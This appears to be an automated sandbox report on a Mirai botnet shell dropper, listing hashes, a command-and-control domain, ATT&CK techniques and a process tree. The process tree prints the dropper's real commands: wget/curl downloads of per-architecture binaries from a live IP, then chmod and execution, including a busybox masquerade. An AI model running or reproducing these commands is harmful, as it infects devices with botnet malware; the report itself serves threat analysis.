mirai | 71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
06/11/2024, 02:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5.sh
Size 1KB
Sample241106-df6gfstcnf
SHA256 71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5
MD5 b6460b975d5453afdde9da16ef21b9c8
SHA1 bc573ef0d5ece1bf7bc2df93e57e36d102ce7e58
SHA512 4ced2993d963819228baff7008c91cb2243d760f4ba1bacb31bb56705c72bc352622458da0172a34e2acb5653dd90f257ae1f90e31facf187c41ed9aec8f8605
MD5 SHA1 SHA512

Score

10^/10

mirai mirai antivm botnet defense_evasion discovery

Malware Config

Extracted

Family

mirai

Botnet

MIRAI

net.igxhost.ru

Extracted

Family

mirai

Botnet

MIRAI

net.igxhost.ru

Extracted

Family

mirai

Botnet

MIRAI

net.igxhost.ru

Extracted

Family

mirai

Botnet

MIRAI

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (22872) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
787	chmod
792	chmod
803	chmod
672	chmod
698	chmod
751	sh
777	chmod
782	chmod
797	chmod
728	chmod
749	chmod
759	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/cp	673	cp
/tmp/cp	700	cp
/tmp/cp	729	cp
/tmp/cp	750	cp
/tmp/cp	778	cp
/tmp/cp	783	cp
/tmp/cp	788	cp
/tmp/cp	793	cp
/tmp/cp	798	cp
/tmp/cp	805	cp

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	/bin/busybox	750	cp

Checks CPU configuration 1 TTPs 10 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 22 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
700	cp
675	wget
680	curl
697	cat

Writes file to tmp directory 21 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/IGz.arm6	curl
File opened for modification	/tmp/IGz.x86	curl
File opened for modification	/tmp/IGz.arm	curl
File opened for modification	/tmp/IGz.arm5	wget
File opened for modification	/tmp/IGz.arm5	curl
File opened for modification	/tmp/IGz.arm7	wget
File opened for modification	/tmp/IGz.m68k	wget
File opened for modification	/tmp/IGz.m68k	curl
File opened for modification	/tmp/IGz.sh4	wget
File opened for modification	/tmp/IGz.x86	wget
File opened for modification	/tmp/IGz.mips	curl
File opened for modification	/tmp/IGz.mpsl	curl
File opened for modification	/tmp/IGz.ppc	curl
File opened for modification	/tmp/cp	71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5.sh
File opened for modification	/tmp/IGz.mips	wget
File opened for modification	/tmp/bin/busybox	sh
File opened for modification	/tmp/IGz.arm6	wget
File opened for modification	/tmp/IGz.arm7	curl
File opened for modification	/tmp/IGz.sh4	curl
File opened for modification	/tmp/IGz.mpsl	wget
File opened for modification	/tmp/IGz.arm	wget

/tmp/71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5.sh
/tmp/71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5.sh
1⤵
- Writes file to tmp directory
PID:639
- /usr/bin/wget
  wget http://5.59.248.145//IGz.x86
  2⤵
  - Writes file to tmp directory
  PID:641
- /usr/bin/curl
  curl -O http://5.59.248.145//IGz.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:663
- /bin/cat
  cat IGz.x86
  2⤵
  PID:671
- /bin/chmod
  chmod +x 71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5.sh cp IGz.x86 systemd-private-3f06e9d4f70b43a0af54b755c961002a-systemd-timedated.service-MdzGdJ
  2⤵
  - File and Directory Permissions Modification
  PID:672
- /tmp/cp
  ./cp x86
  2⤵
  - Executes dropped EXE
  PID:673
- /usr/bin/wget
  wget http://5.59.248.145//IGz.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:675
- /usr/bin/curl
  curl -O http://5.59.248.145//IGz.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:680
- /bin/cat
  cat IGz.mips
  2⤵
  - System Network Configuration Discovery
  PID:697
- /bin/chmod
  chmod +x 71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5.sh cp IGz.mips IGz.x86 systemd-private-3f06e9d4f70b43a0af54b755c961002a-systemd-timedated.service-MdzGdJ
  2⤵
  - File and Directory Permissions Modification
  PID:698
- /tmp/cp
  ./cp mips
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:700
- /usr/bin/wget
  wget http://5.59.248.145//IGz.mpsl
  2⤵
  - Writes file to tmp directory
  PID:702
- /usr/bin/curl
  curl -O http://5.59.248.145//IGz.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:714
- /bin/cat
  cat IGz.mpsl
  2⤵
  PID:727
- /bin/chmod
  chmod +x 71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5.sh cp IGz.mips IGz.mpsl IGz.x86 systemd-private-3f06e9d4f70b43a0af54b755c961002a-systemd-timedated.service-MdzGdJ
  2⤵
  - File and Directory Permissions Modification
  PID:728
- /tmp/cp
  ./cp mpsl
  2⤵
  - Executes dropped EXE
  PID:729
- /usr/bin/wget
  wget http://5.59.248.145//IGz.arm
  2⤵
  - Writes file to tmp directory
  PID:732
- /usr/bin/curl
  curl -O http://5.59.248.145//IGz.arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:733
- /bin/cat
  cat IGz.arm
  2⤵
  PID:748
- /bin/chmod
  chmod +x 71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5.sh cp IGz.arm IGz.mips IGz.mpsl IGz.x86 systemd-private-3f06e9d4f70b43a0af54b755c961002a-systemd-timedated.service-MdzGdJ
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/cp
  ./cp arm
  2⤵
  - Executes dropped EXE
  - Changes its process name
  PID:750
- - /bin/sh
    sh -c "rm -rf bin/busybox && mkdir bin; >bin/busybox && mv ./cp bin/busybox; chmod 777 bin/busybox"
    3⤵
    - File and Directory Permissions Modification
    - Writes file to tmp directory
    PID:751
  - - /bin/rm
      rm -rf bin/busybox
      4⤵
      PID:753
  - - /bin/mkdir
      mkdir bin
      4⤵
      Reads runtime system information
      PID:754
  - - /bin/mv
      mv ./cp bin/busybox
      4⤵
      Reads runtime system information
      PID:757
  - - /bin/chmod
      chmod 777 bin/busybox
      4⤵
      File and Directory Permissions Modification
      PID:759
- /usr/bin/wget
  wget http://5.59.248.145//IGz.arm5
  2⤵
  - Writes file to tmp directory
  PID:761
- /usr/bin/curl
  curl -O http://5.59.248.145//IGz.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:774
- /bin/cat
  cat IGz.arm5
  2⤵
  PID:776
- /bin/chmod
  chmod +x 71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5.sh bin cp IGz.arm IGz.arm5 IGz.mips IGz.mpsl IGz.x86 systemd-private-3f06e9d4f70b43a0af54b755c961002a-systemd-timedated.service-MdzGdJ
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/cp
  ./cp arm5
  2⤵
  - Executes dropped EXE
  PID:778
- /usr/bin/wget
  wget http://5.59.248.145//IGz.arm6
  2⤵
  - Writes file to tmp directory
  PID:779
- /usr/bin/curl
  curl -O http://5.59.248.145//IGz.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:780
- /bin/cat
  cat IGz.arm6
  2⤵
  PID:781
- /bin/chmod
  chmod +x 71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5.sh bin cp IGz.arm IGz.arm5 IGz.arm6 IGz.mips IGz.mpsl IGz.x86 systemd-private-3f06e9d4f70b43a0af54b755c961002a-systemd-timedated.service-MdzGdJ
  2⤵
  - File and Directory Permissions Modification
  PID:782
- /tmp/cp
  ./cp arm6
  2⤵
  - Executes dropped EXE
  PID:783
- /usr/bin/wget
  wget http://5.59.248.145//IGz.arm7
  2⤵
  - Writes file to tmp directory
  PID:784
- /usr/bin/curl
  curl -O http://5.59.248.145//IGz.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:785
- /bin/cat
  cat IGz.arm7
  2⤵
  PID:786
- /bin/chmod
  chmod +x 71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5.sh bin cp IGz.arm IGz.arm5 IGz.arm6 IGz.arm7 IGz.mips IGz.mpsl IGz.x86 systemd-private-3f06e9d4f70b43a0af54b755c961002a-systemd-timedated.service-MdzGdJ
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/cp
  ./cp arm7
  2⤵
  - Executes dropped EXE
  PID:788
- /usr/bin/wget
  wget http://5.59.248.145//IGz.ppc
  2⤵
  PID:789
- /usr/bin/curl
  curl -O http://5.59.248.145//IGz.ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:790
- /bin/cat
  cat IGz.ppc
  2⤵
  PID:791
- /bin/chmod
  chmod +x 71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5.sh bin cp IGz.arm IGz.arm5 IGz.arm6 IGz.arm7 IGz.mips IGz.mpsl IGz.ppc IGz.x86 systemd-private-3f06e9d4f70b43a0af54b755c961002a-systemd-timedated.service-MdzGdJ
  2⤵
  - File and Directory Permissions Modification
  PID:792
- /tmp/cp
  ./cp ppc
  2⤵
  - Executes dropped EXE
  PID:793
- /usr/bin/wget
  wget http://5.59.248.145//IGz.m68k
  2⤵
  - Writes file to tmp directory
  PID:794
- /usr/bin/curl
  curl -O http://5.59.248.145//IGz.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:795
- /bin/cat
  cat IGz.m68k
  2⤵
  PID:796
- /bin/chmod
  chmod +x 71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5.sh bin cp IGz.arm IGz.arm5 IGz.arm6 IGz.arm7 IGz.m68k IGz.mips IGz.mpsl IGz.ppc IGz.x86 systemd-private-3f06e9d4f70b43a0af54b755c961002a-systemd-timedated.service-MdzGdJ
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/cp
  ./cp m68k
  2⤵
  - Executes dropped EXE
  PID:798
- /usr/bin/wget
  wget http://5.59.248.145//IGz.sh4
  2⤵
  - Writes file to tmp directory
  PID:800
- /usr/bin/curl
  curl -O http://5.59.248.145//IGz.sh4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:801
- /bin/cat
  cat IGz.sh4
  2⤵
  PID:802
- /bin/chmod
  chmod +x 71ec97e3a5ec811d1405b637bbc923459cef76895ecd5f1805f26a4fc3e448a5.sh bin cp IGz.arm IGz.arm5 IGz.arm6 IGz.arm7 IGz.m68k IGz.mips IGz.mpsl IGz.ppc IGz.sh4 IGz.x86 systemd-private-3f06e9d4f70b43a0af54b755c961002a-systemd-timedated.service-MdzGdJ
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/cp
  ./cp sh4
  2⤵
  - Executes dropped EXE
  PID:805

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

IGz.x86

Path /tmp/IGz.x86
Size 76KB
SHA256 f7ed8e2213e04a9c56951e75f1ea2477824329d3a0d63ff21e69584030a23c82
MD5 a4607b1c8b7260da9dfa220db57df301
SHA1 1bd91579c0e2b94b098fa5d3a1a2c57e574a07ab
SHA512 a65f5451874d5dc62a9abedb5e616d4f7c960c26affb4c43087fa6c743fc116abd99c720946af60a50e27dc13a2464d3c7676bff20897195802b0c9f1b90d4c7
SSDEEP 1536:S4Vxmlp7eJ2Ff/cBGBLNPcYhd3Pd3mAj9n7C3sSSa9EGA61GaLQpBw5jwbZnx:S4ilp7qA3KsL/d313j97CvSbGAGLQpB5
MD5 SHA1 SHA512 SSDEEP

Submit Download

Path /tmp/cp
Size 98KB
SHA256 5447f2b26bb8a2448b87397377384997f6b47dc76fae46d880bac8a95997c575
MD5 44e1587099f3861c7b5ac721204a9f3b
SHA1 4c286dce5535f7eab14654245ec624f79ca8ae17
SHA512 30d6e978780c5d16ed154c3f372daea7a59d857b781dbc50a40ee4f74534578f291c87efe4d7039a3a83e806e8a4dadace45b3b7f0c27928569aa3ed39400d80
SSDEEP 3072:yKDLKPRGN8TSSxrFtaLlpWWq0LjwbZnbZ:fLKPRGN8JrFtaLDWniwRbZ
MD5 SHA1 SHA512 SSDEEP

Submit Download

Path /tmp/cp
Size 99KB
SHA256 3757016e59b9a06aa3353270ff9d98e4f786b7603501dd6b8361f5c8da779d1d
MD5 e903de244d3960ee08133dec85f70ffd
SHA1 d3b95f3dabd4e9a85dbc83c5ea0ff7588e548bc0
SHA512 fbada2fa788fe25a7571e43b9d2e48607a72f784e1d8ebaee066e43a9417ffb0b97cc37b0a2c7d45a8e7903f09110649ee7edf4b65264413c6056713890e67d2
SSDEEP 1536:A07hsdRePSpBrMTH5+Ky6y8axUD6p/ZRmvmnZZ3dbajR9wbZnbv:p1sdRePSppMToK76p/bmvYSbwbZnb
MD5 SHA1 SHA512 SSDEEP

Submit Download

Path /tmp/cp
Size 81KB
SHA256 e82b2a3478570c1db8e2a8a0690369be8e34a9654b8279baa045664c22c68739
MD5 76921bd73b8116fd887ff1c171bdcf28
SHA1 4a47ae05e46d833ee8d57d5e6a2a47dc5688d799
SHA512 05580ff92ae5ae55484b9d5a48d4b28ca84eb249a6c1eb7baf52415a1356a8cdfb64673837591aac0e0306c61ad617b60035e1a3c1580e41581e28ed8e56cbb0
SSDEEP 1536:s0LBeuA5e+/KIwD77jNtrkgVyaCWlRFuCKwONDxvMYwbZnN:s0LBJA+jAgVyaCWlmzMYwbZnN
MD5 SHA1 SHA512 SSDEEP

Submit Download

Path /tmp/cp
Size 77KB
SHA256 8ba12b36040b340cdf7f9f8842256aaf68f83c8e45cd70d77c9ea4760c5062e7
MD5 6286dadf558fa4974f1e86038ed3e34e
SHA1 6448357a71054499c3ac9bf78319d34eae31fd67
SHA512 b7fe3151d853fe0fedd7ac20110ad47b5682b8686fba6603a6d924ab776a59a091ed487b826380352c4832c9585f4377cff53d09ab5c47cb1acca1f556b0e2b5
SSDEEP 1536:wqqi7TDD6VG5K+Kx5IhpUMMtrsIVv2aSfdH7dnzfyFwbZnN:wqqiHiymdMPIVv2aSVJz2wbZnN
MD5 SHA1 SHA512 SSDEEP

Submit Download

Path /tmp/cp
Size 164KB
SHA256 bd30ea9335bf4425cd6d7b95334c39ed70cb5d69d1c19a6c4a32c9ebac21511e
MD5 d05e31b59fa3ffd4803702df6f88d943
SHA1 38623bc03f1ef1dbe4ef65bc38298a325ec77a23
SHA512 095dea7e832c81f05a2f73150fbcb77d370eb89178cbec8260a0b2473a305ee60fdd2e312247c58a48026b44d1e8dfe585b5a843ef6e094674f2b94301a8b2f3
SSDEEP 3072:Q3l8/dJibk2PTe86ou2POlDwbZnNsHJeTBnboYYwbZn5R6Bh7M/9C8rs3b:Q3CCbk2pzwlDwRN6eJbo5wR5R6BNM/96
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads